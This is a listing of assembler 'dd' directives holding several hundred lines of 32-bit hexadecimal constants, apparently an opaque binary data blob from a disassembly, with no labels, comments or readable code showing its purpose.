dd 504CBA0Bh, 684C04D3h, 6DCCAAB3h, 3C5D4A54h, 0E916C587h
dd 6AE8BDABh, 33BEEDC0h, 14E6355h, 803C0B1h, 0E9750C59h
dd 5F34B97Bh, 0DB4DBA5h, 86F49EFCh, 45B5FC2Ch, 0E35208FAh
dd 20DE722Dh, 6894196Bh
dd 787289CFh, 0F5AD80A0h, 0EEA29F5Eh, 7EC9487Ch, 2D236F58h
dd 2203C5Bh, 12D5BD9Ah, 70550587h, 7CFE7234h, 648C998h
dd 30A62B2h, 0E9D2404Dh, 0A2DA5A37h, 22FD7868h, 39EB0006h
dd 88486E35h, 4F1BFA03h, 25858E3Ch, 8C7CB15Ch, 0B6544024h
dd 0BCFC5285h, 6590107Ah, 2B91D4FFh, 0BE5C2924h, 80C31F24h
dd 0A9309368h, 4113593Ah, 3401D1F7h, 0A1E15CDh, 0C041CB46h
dd 0A04DEFC2h, 2102CCACh, 6FE95FF9h, 8CA3E532h, 0E675FA15h
dd 9D0A949Dh, 57489ACEh, 0E5721950h, 342EC135h, 0A65BC0B8h
dd 3709A5C9h, 0C4416268h, 0E95A127Bh, 2D87B033h, 0A51ADF07h
dd 22403507h, 4C018D9Dh, 5E1EC7h, 5D0F79Fh, 0CF0002A0h
dd 0F9CE2D5Ah, 50316F8Dh, 0B5D2FEC1h, 69BF5ACCh, 2FCBCD02h
dd 9182A4D9h, 0FB61F929h, 4DC7B57h, 0A6EA4A31h, 73B900D3h
dd 81414852h, 3D9203F1h, 0D9F7204Ah, 0F094BAD9h, 73B00D73h
dd 84EF793Eh, 0EAD6E92Ah, 4EF1D690h, 0A4681951h, 3B2B8516h
dd 55B29C16h, 0D01B0D4Bh, 0EAA42A16h, 3B0B1FFBh, 576B47Ch
dd 0FB4F8907h, 3A922921h, 0FB60BA02h, 811D0FD3h, 61C9DCE2h
dd 39895E28h, 6EA93h, 0CD339D40h, 0A00B351Eh, 0F6089E61h
dd 0FD25010Eh, 3039D61Ah, 0F190E64Dh, 0A9C23128h, 0BDEC152Ah
dd 0C81FAB9Ah, 933ED9BDh, 1F34E28Dh, 8DDFF0Ah, 3A84042h
dd 0E95F888h, 0CBCF53D0h, 595BDC02h, 0FE416A57h, 0EEE95974h
dd 68012754h, 70C2396h, 0B8CBB730h, 5CD7263Ch, 17BB02BDh
dd 80C83988h, 0E927C321h, 0F66B629Eh, 70646F35h, 0E83ED3Fh
dd 0B4D945A2h, 0AC9510BAh, 0BA406E4Ch, 1F0F0FBEh, 0B0C510B6h
dd 0C42CA897h, 5E0542DEh, 9833815Ah, 117C42Bh, 0E955C205h
dd 0D8EDF8D3h, 39416107h, 0ACA6046h, 5560F372h, 406DCE0Ch
dd 0D324C136h, 40503D65h, 0B706E5D9h, 0C270F0B0h, 0DE79FE02h
dd 0F14309E9h, 0FF6689CDh, 95AB2968h, 5AC76FC1h, 40CAF62Fh
dd 2D4ABBEFh, 0BC88A7D5h, 16C200FBh, 71E90FDFh, 0B9007696h
dd 0E6A08CD0h, 54CB7C31h, 0FB8BC97h, 55394D61h, 3FE17792h
dd 665C010Bh, 6D8E0BBFh, 5F5B8269h, 986D118h, 145DF711h
dd 0B43CF851h, 0D79A2DCEh, 3D475BF4h, 5DB7B48Bh, 0A1DD4B5Bh
dd 68841F4Ah, 0D7F31814h, 1892F07Ch, 70835766h, 7830E9FFh
dd 0F0ED495Ah, 1DD10423h, 905DEB89h, 6E0C122h, 775E92Eh
dd 660230A5h, 44B34E0Fh, 0E9402074h, 7F351E99h, 160E2D53h
dd 726B64C8h, 0E1D900FEh, 3694196Dh, 679C176h, 0A460C93Bh
dd 0F1010FCDh, 4DBE6FE2h, 67E2826Bh, 6A0255CAh, 0E8C67E78h
dd 0F1ADE912h, 89ECBFCh, 0D1134757h, 8B7A20BCh, 2D3BCDE9h
dd 74610019h, 0EEC12EEFh, 156B007h, 62BA324Dh, 6BD7E94Eh
dd 170B3712h, 0A50EFC06h, 76245258h, 0C20151B7h, 0EE421763h
dd 5507346Ch, 41E66856h, 985E7B14h, 206035Ah, 3CABEC81h
dd 0C6DBD8A2h, 0A30C12ACh, 7E79E812h, 6F68130Fh, 418CB928h
dd 1F9F0408h, 0E9CE8214h, 2F7F0741h, 0DB179E79h, 1CF70DE4h
dd 8B65055Eh, 0B5854D10h, 5F07012Dh, 7602C083h, 0E5575890h
dd 0D03575FBh, 52D18871h, 0BD3C9DBBh, 0BAB6DEC8h, 8774097Ah
dd 7B525A01h, 2B4AE7B0h, 0A2B66E81h, 0BE4AEFDCh, 519D885Fh
dd 0AF58001h, 0D870D5F6h, 0E80E8A2Eh, 0C22030E5h, 2BF7FA41h
dd 42D0F4A7h, 210393B2h, 0D45012D5h, 0B5A5F8F9h, 6D688020h
dd 0E91A17A9h, 98B79135h, 891BC8EBh, 822F39B6h, 5DE81853h
dd 8B634E12h, 0C4BF10D6h, 0D323A131h, 0E4CD877Eh, 590DF0BCh
dd 5450F494h, 7B5AE9h, 2D34BE7Dh, 0C1B721FCh, 60CC0661h
dd 0EBE30481h, 0C144886Bh, 0C90B6CE9h, 82D02A64h, 4C19292Fh
dd 2503F114h, 219E5E09h, 3246AA60h, 0F9280776h, 0D3D69130h
dd 619683DBh, 0EBAE3E87h, 0EDBACB6h, 0C0F328CEh, 0CAB0505Ah
dd 435D27E9h, 0EBEF9E71h, 0FADCE3A9h, 0B52D114h, 0CFD619F0h
dd 0E84401C2h, 893B0CC2h, 4258C465h, 7E0A2DE4h, 0B43114F6h
dd 0D0D5F2B3h, 0C1436292h, 0E025ABD8h, 36E16075h, 0F6F04E81h
dd 785C1FF0h, 0AF93120Dh, 6AC72A22h, 649EF49Fh, 2DD4AB68h
dd 0EBA407FCh, 40317917h, 5FC0BF57h, 823F48E0h, 0A17D00Eh
dd 2F02A157h, 0C95B35C0h, 5B65B00Fh, 0FE9D0F61h, 1BC18023h
dd 8E64C79Ch, 0C26310D9h, 6812CF41h, 0AFAD2446h, 0C7F014AEh
dd 0EFE5BF58h, 874BD497h, 8FC6562Dh, 2E85F001h, 4DEB9D1h
dd 42FB5A2Ch, 0E83E12BFh, 505CC618h, 6CE927EBh, 5866E203h
dd 1C53BC26h, 0D7886207h, 0F0A18BF5h, 588B3639h, 0B69C3B66h
dd 0E9B0336Fh, 0D95E4FF0h, 0F5CF7C71h, 1BC9BFE2h, 595B0F50h
dd 0A229F2CCh, 0D4810987h, 94FFE4B1h, 0FDD90950h, 4F408000h
dd 0C104DFF7h, 46E908E7h, 3C80D8A0h, 6F2E9DEAh, 0E250936Eh
dd 326A4AECh, 0E8CA3912h, 55BDC4F7h, 9C715C09h, 43A4D4A5h
dd 2E4E916Bh, 0DD25ADCAh, 0BF4138FBh, 27F52C78h, 1237CEA6h
dd 54800D7h, 1D44B1Eh, 31E9F916h, 0FC2A6A4h, 376520B4h
dd 0A81CEAAFh, 0C85D4B08h, 1E5BFF58h, 10C1F98Dh, 0EEA48D2Fh
dd 0AC530174h, 0E19882A9h, 0C39EFCE9h, 42CC5B25h, 5907F83Dh
dd 60C05E63h, 6BAE44ABh, 889D4D68h, 0FC220701h, 272CE918h
dd 8090CD43h, 1FCBF029h, 10647E52h, 195D3BA9h, 0F57D4D13h
dd 2FF7A52Bh, 0B845098Ch, 4F5F0162h, 65E9F38Ch, 95B2482Fh
dd 2B14A7E0h, 931AFA29h, 60B8E0F0h, 85BB6696h, 0EE1F106Bh
dd 5109D929h, 0E9E0D63Bh, 980C618Ah, 685EAE58h, 1D1FC631h
dd 0D03A4289h, 880A63D9h, 479175Ch, 2CCE094Ah, 69118EEh
dd 0DCFB4106h, 6B95121Dh, 5679F237h, 5E5C1364h, 8D4055C4h
dd 0A7C5826h, 65EC4578h, 0C058ACBDh, 60796226h, 0C7559401h
dd 0A91F85E9h, 18F292A5h, 7728AE92h, 51669D5Ch, 12A75848h
dd 0B54739AFh, 7D0EEDEEh, 0D06CC65Dh, 66013511h, 0B70FC331h
dd 6A52F1C0h, 5BDD97D1h, 4B01A62Ah, 4DE9BEDCh, 6C4CA08Ch
dd 0CF063C0Eh, 0BAF280B3h, 0B3F86C22h, 0E7639Dh, 2E29F638h
dd 61BD5507h, 0F1B24C16h, 0E9091CB8h, 8D7C9326h, 5098296Fh
dd 5F54320Ah, 8FDDA032h, 0CD71A484h, 0F8F875FAh, 34E24F03h
dd 7C185925h, 890F6664h, 9870E902h, 0B75BF3Ch, 97B6F2Bh
dd 100F210Bh, 107F6727h, 0BFE9F129h, 8B7D405Ch, 0FE1A40EEh
dd 0EC04D2CAh, 0EDC00762h, 0A8368008h, 2E9B7006h, 12BF59EAh
dd 45000B5Ah, 0D12FD25Eh, 2B994D5Ah, 0EA8AF785h, 192AAC94h
dd 9720F01Eh, 9CD0E02Bh, 47CEEB1Fh, 691E6D17h, 8EB42181h
dd 19E12D13h, 482940D4h, 84173D8h, 9E58B068h, 51136513h
dd 6614F6A4h, 3A1680F7h, 4489CDBDh, 7049AFF1h, 1220503Eh
dd 0AC8832B6h, 0C8853AB4h, 0EE1313CFh, 0C3254BF2h, 0BAFDDF62h
dd 31B0D7F8h, 6CBD8EA5h, 139C65A7h, 0AF8B825Eh, 0E227540Bh
dd 0B3649D07h, 591BD918h, 5A5AD568h, 2406A689h, 0E4280F21h
dd 25EF0B5Ch, 89AF7946h, 2D742540h, 2193C0C8h, 0D996E604h
dd 5F1E290Ch, 0FE0F7690h, 0E9F42E90h, 0B58120F8h, 0C0DDF6E4h
dd 6E5C004h, 9348C580h, 6D6320Ch, 55516178h, 0BF5CCC6Fh
dd 4A0CDF16h, 3858DC41h, 0A897229Ah, 0B02C1303h, 2D286606h
dd 269EC5E0h, 65F0BA13h, 4A869058h, 0C0D6AC48h, 75685155h
dd 5A892C41h, 64F75BA3h, 97B4F879h, 7159FFA0h, 7C709849h
dd 75F83F70h, 55A7CDBDh, 0A7E3D29h, 4E5C106h, 68B3B00Ah
dd 0ADE37DF4h, 16C6F004h
dd 66052A1Eh, 7FC02ACAh, 25ED2F57h, 8E2016Eh, 51C080Dh
dd 8351F914h, 4A999AE9h, 250AF64Ch, 46DD0928h, 0B169F6Eh
dd 0CB92EA42h, 929648CEh, 0EEB22CBCh, 0B96D27CAh, 186027A8h
dd 2198C671h, 0E54151C2h, 0F130203Fh, 77B4CE87h, 2AC33E8Bh
dd 0FCCB8090h, 145D7A5Fh, 7C06842Dh, 0C03153E9h, 4E8C117h
dd 0ABBE0EAFh, 0E5825527h, 0F7850949h, 0E3C4B4C0h, 0D84B81FAh
dd 282D038Ah, 8FB91B00h, 7B7A6B01h, 8114DD31h, 17C492F5h
dd 8DD99D2h, 5A13DE10h, 0E8288244h, 0D1C85E82h, 0A29D89A6h
dd 6B026ED9h, 7402F13Dh, 0F7DB52B9h, 0E8418703h, 6DC2750h
dd 1300ABFBh, 213C7076h, 3B009DD8h, 3DD9387Eh, 0B2604E90h
dd 9DF68181h, 5251091Bh, 0F48F501h, 10831105h, 48C9992Ch
dd 8C5DC6B8h, 2948B712h, 88802661h, 26639BE2h, 9CC01E06h
dd 739E405h, 33B9F280h, 0AA84F8C2h, 6048BDC8h, 60F28FF0h
dd 0B76AA19h, 755CCA1Eh, 5E010192h, 3CB74273h, 9983F300h
dd 0D7292D00h, 5BE94F5Ah, 0EB20B431h, 0EC634B0Bh, 6D82D0F2h
dd 0A97A1802h, 5B55FEEh, 22C04D13h, 768F56F5h, 0E8CD0D0Eh
dd 207C935Ch, 0BF17DC51h, 1D998977h, 7E01F44h, 18610F68h
dd 32441DB9h, 5F9DA2FDh, 0B19F22A3h, 29BCB9FBh, 4E561109h
dd 5F74C225h, 0C54AAABDh, 2E546EA0h, 0F8733E2Ch, 48C45E1Ch
dd 15A14D21h, 0A51BF889h, 517B074h, 0E021A5F5h, 0CA5E2438h
dd 0F656250Ch, 0D6896161h, 8B9A605Ah, 12B2345Fh, 63F9A712h
dd 9302EA99h, 3A1BCF05h, 1085D42h, 1D0B3E07h, 0A77C0B19h
dd 742C9F01h, 7B354E78h, 9033BFFCh, 5A570B3Ch, 0CC09E78Fh
dd 68854571h, 18B263E8h, 0AC4DE909h, 6BBD6A72h, 0AD3BDB40h
dd 1AAE8D20h, 582B607Eh, 0EA1C523h, 2D0322B4h, 5CB680Bh
dd 990D11B0h, 727A14Bh, 0B11CA07h, 7AC21FE9h, 96AF9C75h
dd 0E9E91E4Ch, 0D7F301CAh, 70145D01h, 4E00AE33h, 0CB877EE0h
dd 974125E9h, 0C6177F4Bh, 56B332FCh, 0F848D88Bh, 75A0C93Eh
dd 61061422h, 6EBC15Eh, 3DC60260h, 95E9E4BEh, 0BFBFCC5Eh
dd 3813899Fh, 4D0C55Fh, 0B36D9768h, 2637049Eh, 2BF26CAEh
dd 3A032394h, 8312037Ah, 85F085B4h, 8176FDE1h, 0E26D7068h
dd 0E5EBB02Fh, 96051816h, 25F6B605h, 82087027h, 0DF87FB29h
dd 2908BE41h, 0C46BB7DDh, 5868121Eh, 530B3348h, 0F10901C8h
dd 10971352h, 5A27BD1Eh, 0CA842654h, 1AFAD22h, 0EDB2EA13h
dd 3F916FDFh, 4B3E06B5h, 0DFE1CBAEh, 0B33BF82Dh, 0AD376D7Ah
dd 0EDF214F2h, 83AFD689h, 7CE05DA2h, 77D10C06h, 9B63519h
dd 15550678h, 3F3E1680h, 0E9164D95h, 1A29DCEFh, 68AF2C7Fh
dd 6ACCAF5Eh, 309113B9h, 0E17C078Bh, 1C216259h, 772C417Eh
dd 0F6AB0625h, 0E59C79F8h, 0F8E35143h, 0F63B9852h, 0CDEB4AB4h
dd 2738D36Ch, 0CA62DE59h, 5490C250h, 88D02F59h, 5275A9BFh
dd 995F4D3Fh, 4AF95A28h, 86CBA645h, 0F62137E9h, 533B03E7h
dd 0DFF72B24h, 5227FA1Eh, 96E12212h, 0C160D62h, 192A66A5h
dd 853266E8h, 202BE2C8h, 0C2FEC7B2h, 219824B0h, 0EAE61BE6h
dd 3E5ABA40h, 0F90BCA2Ch, 6A2BEBE9h, 30CB84DCh, 9F73CAEEh
dd 4A841132h, 0EC93A5B4h, 2A7BE366h, 179B3530h, 2DBCF9EAh
dd 0C9E13BECh, 6D1D2502h, 0A5ED027Dh, 52047526h, 16086E01h
dd 238D5BC3h, 60210C0Ch, 0B0EAD254h, 42C46EAEh, 0C380F303h
dd 0A811A5BFh, 0B2B45877h, 0D4AEAB19h, 86A2A715h, 0EC09D8ACh
dd 5D567D5Dh, 11451C1h, 4305EDFEh, 1F5FB463h, 4713CAC9h
dd 87FAA582h, 7D2E2309h, 60AE6259h, 5EE97181h, 605D1315h
dd 3BB635E8h, 0E95EDE09h, 768D72A8h, 0FE3130C1h, 0D159CFE0h
dd 1DAAC5C1h, 0E9D938F5h, 49755232h, 0BE1DEB47h, 7DB549D6h
dd 6829E080h, 13B207BFh, 51536117h, 25ADEE41h, 1A6CA432h
dd 0BA2B410h, 0D14F0958h, 31E52548h, 0FB9BE961h, 0A44A8C6Fh
dd 4C8F0B4Ah, 0A84E4E59h, 0F4FDF4A3h, 0EBF69884h, 2F25EC43h
dd 0A4AAD357h, 4A6255B9h, 96D55450h, 0F84CB5A1h, 93036D35h
dd 5DBD6D81h, 0F84102C1h, 0C87EF23Ch, 149F56DBh, 41949898h
dd 78F72C94h, 51C884Dh, 0EED14E5Bh, 7CD48F80h, 30477F0Fh
dd 882EB7D9h, 469758E3h, 60681244h, 3A64BB50h, 426929AFh
dd 0DE09AE5Bh, 6F0C6DF8h, 530B52CBh, 2A6077E9h, 0A1EA2BEh
dd 92890D2Dh, 0F48DA48h, 6AD92921h, 9629306Bh, 11AD2B77h
dd 241BDFh, 10E825C1h, 3D0AD4DCh, 8A55677h, 410B18D9h
dd 0C50EFE2Eh, 3C67BD3Fh, 81A04F7h, 0C2F4314Eh, 0A6CF2D4h
dd 38C4E9A9h, 4FF64B1Dh, 137FED51h, 4B2CAB1Eh, 64552F68h
dd 4EA59FD1h, 0EEB0B57Bh, 50605AD3h, 0F169B414h, 0C8E9256Bh
dd 99588B05h, 0B5E7F08Dh, 41493094h, 172F3456h, 0E8060314h
dd 0C58CD493h, 0BD54EF5Fh, 0C9F45E62h, 0AF0D229h, 0AF902516h
dd 10975E5h, 92A803CFh, 6641D20Eh, 0FCA39A3Ch, 595312C9h
dd 0C1DA04A8h, 11EC02Fh, 0D397CF29h, 0D4D04E34h, 2D224941h
dd 68D2985Dh, 8C084F2Ch, 644CBB6Bh, 0AFF14F2Dh, 5B9B4260h
dd 3CADCC38h, 0B35FFA40h, 0E95240BDh, 0CE95DE33h, 104DBF8Bh
dd 45B25200h, 96E3B551h, 15CB0BDBh, 52FC252Bh, 317B216Bh
dd 4FE05FFBh, 48C29295h, 280429CAh, 0FC35BE60h, 0D2FA0493h
dd 2BF93F8h, 478668E6h, 48FC33D7h, 0EEE4629Ch, 4E145C84h
dd 2A4789F9h, 805ACFE2h, 6A36AA42h, 0E05B4E37h, 2F4EE3FEh
dd 0C6C974ACh, 0C575DEE2h, 7B144D7Dh, 0D8425FCAh, 0A97D3E16h
dd 0BE56804Ah, 18A1DB1h, 1CEE8122h, 8F423F17h, 2905790Ch
dd 6D478075h, 0C31DF837h, 0AB1BC00Ch, 4FBC183h, 0E2D72A01h
dd 0F1010770h, 0E9D05122h, 0E6A7CE17h, 457A50CDh, 14E00213h
dd 790AD301h, 0A8216C56h, 0AC46133Fh, 0FD87F287h, 0F068C918h
dd 440E2512h, 0F96B3F1h, 49C9E043h, 0A2419A41h, 0FF962A0Ch
dd 681B63D5h, 0BE51649Ah, 0EC5E2E82h, 0B8D584Fh, 782B5FF4h
dd 890089F6h, 4AE9206Fh, 89C9D416h, 0BC1DE304h, 0EA1F8751h
dd 1DC2607h, 5A48DEC9h, 2FB06460h, 5005281Fh, 1D8296FBh
dd 7A48B240h, 2583138Ch, 0F95C01C6h, 15F00292h, 2AB3A046h
dd 0E2637F9Ch, 33718AF0h, 0DA3AD6A5h, 2DD598FDh, 936619BDh
dd 4605485Ah, 0E9255307h, 397C4481h, 46AC2C28h, 0C8018566h
dd 0AC0A1205h, 9352B116h, 4E12A22Ah, 93B4F3B8h, 93A4144Eh
dd 6809FBBEh, 5F9F7274h, 0B7EF000h, 297E1440h, 888BAB0h
dd 5F4E59CBh, 193BFECh, 6D69DC45h, 81D3FD23h, 0AE423C2Eh
dd 0A43A490Eh, 75149BD3h, 4BF70A2h, 3E86C984h, 5624F5ECh
dd 51B602BEh, 70746D0Fh, 1989491Fh, 881C54E5h, 0F12803FEh
dd 336DAF0Ah, 0D917DC3Bh, 54112BF2h, 0A2C5108Fh, 684FBE00h
dd 0E6817C76h, 6F44CA0Fh, 1EAF252Dh, 0E019546h, 69E2950Ah
dd 9BDB8077h, 1392A168h, 0C5DEA21h, 20607A2h, 0FC096C90h
dd 0F2200803h, 8BF35E08h, 0E28076B9h, 45C3B435h, 0D8A9C259h
dd 3003240Ah, 0D9CC8C51h, 4E6DF280h, 0D7D7ADD3h, 0E9C258ACh
dd 0FD7ED426h, 2F1C07A5h, 0CA5AD6A3h, 197BD3FDh, 0C668530Ah
dd 4EA41BF5h, 59A709A0h, 443D760Ah, 960F136h, 0B7992FA8h
dd 0BEA1C42Ah, 41B3B92Ch, 69256BA1h, 2A0CAE09h, 0CB195C13h
dd 842EEC12h, 9DCFBA69h, 17FCE909h, 5D660674h, 0F0B90F33h
dd 0DF25938h, 780DEE23h, 4C25783Eh, 4FA6440Fh, 0CF3A43B8h
dd 7BF2070Ch, 0F1EEE377h
dd 95A5851Ah, 42508CE1h, 4FE6A7A9h, 0E9638C9Bh, 1E0A8E05h
dd 0C028F64h, 8038826Eh, 0FEAAE60Eh, 96EEA7CEh, 0DCF2F307h
dd 89510128h, 869892D1h, 53E70140h, 0B85A723Bh, 17F90164h
dd 11E92257h, 10F703F6h, 5A8D4630h, 242E4A01h, 61311820h
dd 0B684177Eh, 8A645EE9h, 0E45F7AD3h, 7D7681Ah, 53821F6h
dd 0BCF72959h, 351C052Fh, 8EB15B0Ch, 40030682h, 0F3FE2B0Dh
dd 4C1AA430h, 0C77F595Ah, 750B053Fh, 3D784782h, 40EF2D16h
dd 84049A9h, 0CE219858h, 0CC48012h, 5B0BC02h, 71F34D79h
dd 65C27281h, 0B012F0F0h, 0E81D0947h, 20C0631Ch, 0EB971041h
dd 0B531FF5Ch, 41FA7D46h, 0B600F80Bh, 0FE5B3070h, 4E28FF28h
dd 0E9CB42F0h, 5E01495Ch, 0A4EA0268h, 0C6A80CE7h, 9E1D041Ch
dd 10A449E0h, 424514DDh, 81761019h, 7E5E87Bh, 724E74E1h
dd 79C7D645h, 102D9EBAh, 342CFA32h, 88378C1Eh, 69956553h
dd 3384C8BCh, 0F60E2968h, 0DC45D2F9h, 5AA327CDh, 8A7ADF00h
dd 3C2D5860h, 0D49111Fh, 0E9FDC798h, 8D94DDh, 0D70BD8BDh
dd 0F5018116h, 15082EC6h, 7C30DDF7h, 0D17D1AE4h, 0DC600C27h
dd 0CC33D96h, 0BAB93397h, 1BA8989h, 0C9596DE6h, 5423C130h
dd 71687911h, 3DC69751h, 4F31BA4Dh, 64509DA3h, 754313A8h
dd 179B0511h, 0BD8CE024h, 89806B9Ah, 0C32E3159h, 1B24C558h
dd 37302A16h, 4B3934BAh, 0CADBA118h, 0F11C088Ch, 26C17203h
dd 0B056E9h, 2B0CF533h, 0EF017706h, 0D1E5195h, 25229FFDh
dd 3F047EEFh, 4380D2F7h, 0E7C36A1h, 0E9D729C5h, 46E5633h
dd 168F66A2h, 602A8EB0h, 0CDB9D629h, 3C49B1B5h, 6E892C4Eh
dd 0F39D225h, 3FA87619h, 72D45CCBh, 5B090C68h, 41BE5629h
dd 603D018Ch, 804040B2h, 1F8A58B5h, 96C3330h, 82B75BDAh
dd 9F743E4h, 64691E80h, 81054F03h, 7D3A8ECBh, 3C238405h
dd 0DB6128BFh, 90FDDDAAh, 97EF3806h, 9A572F3Ah, 0C582D549h
dd 780B0DD7h, 2817587Bh, 406859C1h, 9E61925Ah, 9430DEA0h
dd 0D199089Eh, 4FDCFC25h, 0B8C1AE49h, 485D3729h, 84193809h
dd 49E97110h, 0CEEBBA4h, 4D27430Fh, 1A9DD060h, 0E7CA57B8h
dd 16A58401h, 65F5300Fh, 9D31DC40h, 26884F59h, 0CFDE30E7h
dd 1C7B3337h, 0F3363F2Dh, 40FCCB15h, 8E45F52h, 49E9FAB1h
dd 0BE79CD1Dh, 7132F602h, 0E8757B7Ch, 72BFEB4Bh, 9F7D5C67h
dd 8036851h, 0DC0E045Ah, 0C4618C44h, 0CA62ECADh, 0CA2C0DB9h
dd 0E262322Ch, 2608C432h, 0A7E1A31h, 93979655h, 31942DDAh
dd 4F9422D9h, 84F40AA8h, 2AA4B1C5h, 0A04066F2h, 99380ABAh
dd 8289292Bh, 7EE5E95Eh, 5482B175h, 97215BECh, 7ED29418h
dd 5A53C696h, 138AA630h, 22F9DA7Fh, 2DCD022Fh, 142AD927h
dd 0A0223266h, 59D10125h, 0CB294624h, 1E4E7AB0h, 31A5A9BCh
dd 38288B97h, 62C9C05h, 62007045h, 637654EFh, 0AB029721h
dd 0FA549E48h, 372D0380h, 0FA0615ECh, 3BBFB2F5h, 1496C6FEh
dd 12E42781h, 96607C47h, 913F521Eh, 0F0CD1D6Dh, 0C13845C1h
dd 128203E5h, 361B2A39h, 693D5F4h, 648E7200h, 4C09070Bh
dd 45136FE8h, 8453BC43h, 50BF97AAh, 2704ACCFh, 0E8587A42h
dd 29ED122Dh, 70A75020h, 0F97F50C2h, 9246B423h, 0C33AA4A8h
dd 42A07397h, 8456089Fh, 16BB44h, 409E35D6h, 0F94F01FCh
dd 5833DC1Bh, 0DA582650h, 58102D7Eh, 28B4CF7Ah, 69ADD3CBh
dd 935390C9h, 6CEC583Bh, 0BD835F88h, 0FC2F74B9h, 9D7C34B8h
dd 3BC8F71Ah, 47F7F275h, 8548E97h, 9D9CE915h, 161FF07Bh
dd 1F35AE1Ah, 2F624B13h, 0AA8924F6h, 251B5BDEh, 0A5DCA72Fh
dd 0E2C0A901h, 8961E003h, 68049093h, 79A3543Fh, 7DE48610h
dd 0AE6D1A2Ah, 0CDC02D35h, 1FAF8035h, 2E4D82A9h, 0B08937B5h
dd 27085508h, 0F1E77766h, 0FA453A02h, 0B8B2768h, 1741CF2Fh
dd 64DB5049h, 0C29D8566h, 206AD6E6h, 7AD900DEh, 0D6015CB0h
dd 0AA9EF0E9h, 438B351Fh, 0EACA0010h, 522D7D8Dh, 840A86Ch
dd 1A669F58h, 0A0C9D34Fh, 52490A2Bh, 29660DDCh, 0AE1D200Fh
dd 0F425994Bh, 41FB1A82h, 0A3A335Ch, 908EE01h, 726290E9h
dd 0CE5FB4CAh, 806812E7h, 0EE82CC31h, 0FE2E7E54h, 832F22B7h
dd 0D056097Ch, 0FD8820C4h, 0B969CB15h, 8A181F2h, 0A0800402h
dd 7D7A60CBh, 689C28h, 0E98D3182h, 38AAB4E4h, 5C98F4C6h
dd 34387501h, 5E3C149h, 7DCC5121h, 0A4C7B85Fh, 0E9580CBBh
dd 0E2D11812h, 0EA07C0F0h, 13CA8006h, 88BBF230h, 20E91AD0h
dd 88426A7Fh, 0AE17B419h, 0E5891ED9h, 0A614DF58h, 5515929Fh
dd 0AB2503CDh, 5621620Fh, 0F4E8CEF4h, 49940500h, 0D563Fh
dd 715B1A41h, 0F1129C2Dh, 88A0324Fh, 0B4929F14h, 2C3A68C0h
dd 26239658h, 0CA92D31Ah, 8EA3F00h, 47CE281h, 0E9104E63h
dd 41579227h, 8037F07h, 0F8FBE125h, 94BCA32Ah, 184B2DB5h
dd 0B65C5B32h, 1C7609Eh, 0E917283Fh, 1320F6ACh, 5EDD3542h
dd 0C6DBE018h, 2D3C6407h, 5A156894h, 0F2272AF3h, 0FE5EB804h
dd 8A4F098Ah, 58E913B3h, 5ED0657h, 49C1189Fh, 56123305h
dd 0C3E10BB7h, 0E95F0700h, 0F7B79A46h, 0B5FED43Fh, 3D5221E2h
dd 46D2021Fh, 0D889028Dh, 0CD9020B9h, 6DD28A4Ah, 9C0B5722h
dd 5C5177FEh, 6893333Ah, 0E92A90EDh, 0CABF2A18h, 0DFFE0900h
dd 0F6C8D516h, 82E9C202h, 0BF01CB50h, 1029680Eh, 0DEECB951h
dd 0A86B4BFAh, 0FD2112E3h, 0E8F5A200h, 0EC42DA0Bh, 3BC01E5h
dd 3EE94440h, 0E1BB00A3h, 323F2D4Ah, 8093D88Fh, 0F6C0FE75h
dd 34C8D89Fh, 0EA1488E1h, 6809E1CFh, 0A7794F2Dh, 7135788Bh
dd 2455A8D9h, 1D043494h, 27590955h, 735A0200h, 0E4BA7A69h
dd 15B32958h, 4A8B0CE8h, 433059C9h, 0B5B8959Ah, 59092CB8h
dd 0FE31119Eh, 43031675h, 124F6821h, 6FE3B12h, 2DA146A8h
dd 6FB505A4h, 923CA7Ah, 0D1C0B6E9h, 7A1B8943h, 245CC562h
dd 0EA2820DBh, 20025B90h, 1641F41h, 42542CBh, 25862908h
dd 649590CFh, 1E3C6BFCh, 0C54381D8h, 8A761EBAh, 89ED4036h
dd 31195C2Ah, 0D444EABDh, 0F478A5F6h, 5BC28827h, 0FE97B4C3h
dd 9552692Dh, 9AAEFF5Bh, 0BD66C096h, 0BB0078E4h, 0E748BE3Eh
dd 0B01D3B6h, 322AE9EEh, 93A7910h, 417BBB1Fh, 45A45C09h
dd 0BE5E3344h, 7C37D7F8h, 9039E09Fh, 2E312E7Eh, 9C910E2h
dd 44271468h, 8F9846h, 0FC008D4h, 79EBCA81h, 0E9385806h
dd 4E283740h, 30108DADh, 88B52D76h, 87C06F0Dh, 97582F68h
dd 0E277B98h, 29413B09h, 59D4994Ch, 0CC662A25h, 965D0C9Ah
dd 80EBA40Eh, 1D015B2Bh, 32BDE9D8h, 77C40820h, 5478FC2Dh
dd 9109E951h, 0FE01E4D8h, 80D3F6CBh, 0C6CC9CF3h, 0F1DEE0EEh
dd 265BABD3h, 108E2012h, 0EAD10009h, 840FC23Bh, 465A9583h
dd 940680Eh, 78F77594h, 7F3D722Ah, 27894E97h, 6C7EBD55h
dd 0F30B601Dh, 0C1AC1A86h, 0CC2B3370h, 0DB4FA1C9h, 0D80916B3h
dd 43C1AE57h, 42283AA9h, 502C01C2h, 0DAE92DFDh, 93B63FE7h
dd 0D419F710h, 0E9560B41h, 2F8BDEDCh, 0B2BD0214h, 1C6DEBEh
dd 0D9289CB3h, 1CE0F65Bh, 562DE9C8h, 87FE2291h, 505176CFh
dd 7A9572E9h, 1D032DBAh, 15743566h, 0BCFA677Ch, 0CD8DE89Dh
dd 0E595D7EDh, 9E6F3C99h, 42AA277Ch, 0C2046003h, 6234B417h
dd 88003BDCh, 0F2CE86DEh, 96B254A0h, 5D9D0BF1h, 4EF44638h
dd 0E6814E1Eh, 4A6C2E51h, 0E875CA70h, 0F7F7C0Ch, 1BE39FF6h
dd 83F30165h, 471FC141h
dd 5E4FD9F2h, 54B26943h, 8BF42532h, 22EA68C1h, 91C7E22Eh
dd 736126F3h, 7EDC184h, 1E7633C0h, 280B7E38h, 0F5695F6h
dd 21CE5009h, 0FA9C9264h, 7F585D32h, 897A32C4h, 0BD0496A6h
dd 644825C7h, 0ED2C55E8h, 19F5036Fh, 89892245h, 0B16960EBh
dd 55698995h, 6AE1CA33h, 8C447AC2h, 5805D749h, 6B72BF30h
dd 1D48DCC8h, 84EB9754h, 93D2B226h, 851C30E8h, 6816A0B4h
dd 54633053h, 502B2701h, 0E7F2E613h, 8180E0F1h, 103288EFh
dd 40CABD22h, 0BD5D0804h, 0A92785AEh, 464621AFh, 5F22C86Fh
